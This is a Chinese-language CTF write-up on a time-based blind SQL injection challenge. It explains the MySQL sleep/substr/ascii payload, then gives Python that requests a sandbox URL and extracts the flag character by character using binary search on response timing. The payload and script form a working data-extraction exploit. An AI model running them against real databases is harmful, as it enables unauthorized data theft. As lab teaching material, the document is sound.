SQL时间盲注是一项很成熟的技术。一般步骤如下:

  • 精心构造一个payload,如果满足某种条件,则延时 t 秒之后返回;否则直接返回
  • 发送payload,观察执行时间,从而推断出条件是否满足。
  • 重复上述两步,直到推出所有信息。

因此现在的问题在于:如何构造payload、如何推出自己想要的信息。

mysql的几个函数

SQL时间盲注可以利用下面几个函数:

  • sleep(t) 延时t秒钟。这个函数返回值是0。

  • ascii(str) 返回字符字符串str首字符的ascii码值。如果str是空串,则返回0;如果strNULL,则返回NULL.

  • ord(str)ascii.

  • length(str) 返回str的长度。

  • substr(str, pos, len) 字符串截取函数,返回strpos开始、长度为len的子串。需要注意,这里的字符串从1开始编号

  • mid(str, pos, len)substr.

  • substring(str, pos, len)substr.

  • left(str, len) 字符串左截取函数,返回str的左len个字符。

  • right(str, len) 字符串右截取函数,返回sre的右len个字符。

  • if(expr1, expr2, expr3) 逻辑判断函数。如果expr1为真,则执行expr2;否则执行expr3.

如何构造payload

来考虑ctfhub的题目《时间盲注》。无任何过滤,sql语句是select * from news where id={your_payload}.

那么我们想查询flag表中的flag列。构造sql查询语句如下:

select * from news where id=0 or (if(ascii(substr((select flag from flag),1,1))<=100,sleep(2),1))

来解释上面的payload. or是短路运算符,所以id先填上0,以便后面的语句得以执行。如果(ascii(substr((select flag from flag),1,1))<=100成立,则执行sleep(2)延时2秒;否则不做什么事。

substr((select flag from flag),1,1)的意思是:从flag表里面选取flag列(表里面只有一行数据),然后从1号位置开始,取1个字符返回。也就是说,返回了flag的第一个字母。

(ascii(substr((select flag from flag),1,1))<=100的意思是,如果flag的第一个字母的ascii值不超过100,则判断为真;否则判断为假。

于是,整句select * from news where id=0 or (if(ascii(substr((select flag from flag),1,1))<=100,sleep(2),1))的意思是:如果flag的第一个字母的ascii值不超过100,则延时2秒;否则不延时。

我们请求这个payload,然后本地计时。如果时间超过1秒(这需要考虑网络环境再决定),则认为“flag的第一个字母的ascii值不超过100”这个条件是满足的;否则认为这个条件不满足。

工作代码如下:

def work(payload):
    url = 'http://challenge-c9ecc4bb64ab96cc.sandbox.ctfhub.com:10080/'
    params = {
        'id' : payload
    }
    try:
        r = rq.get(url, params=params, timeout=1).text
    except Exception:
        print(f"Timeout")
        return True
    soup = BeautifulSoup(r, 'html.parser')
    print('> ' + soup.code.text)
    return False

如何推出flag

刚刚我们实现了一个函数,可以用来判断flag的任意位的ascii值是否超过任意值。有了这个函数,第一反应当然是逐位二分。先通过二分来推断出第一位、再是第二位……以此类推。

注意到所有可见字符的ascii码都在$[21, 126]$范围内,故可以用l=21, r=126作为初始答案区间。

代码如下:

def boom(pos):
    l = 21
    r = 126

    while(l != r):
        mid = (l+r) // 2
        print(f"divide [{l}, {r}] mid = {mid}")
        if work(f"0 or (if(ascii(substr((select flag from flag),{pos},1))<={mid},sleep(2),1))"):
            r = mid
        else:
            l = mid+1
    print(f"ok {chr(l)}")
    return chr(l)

最后这样爆破出flag:

ans = ''

for x in range(1, 50):
    ans += boom(x)
    print(f'ans now: {ans}')
print(ans)
拿到flag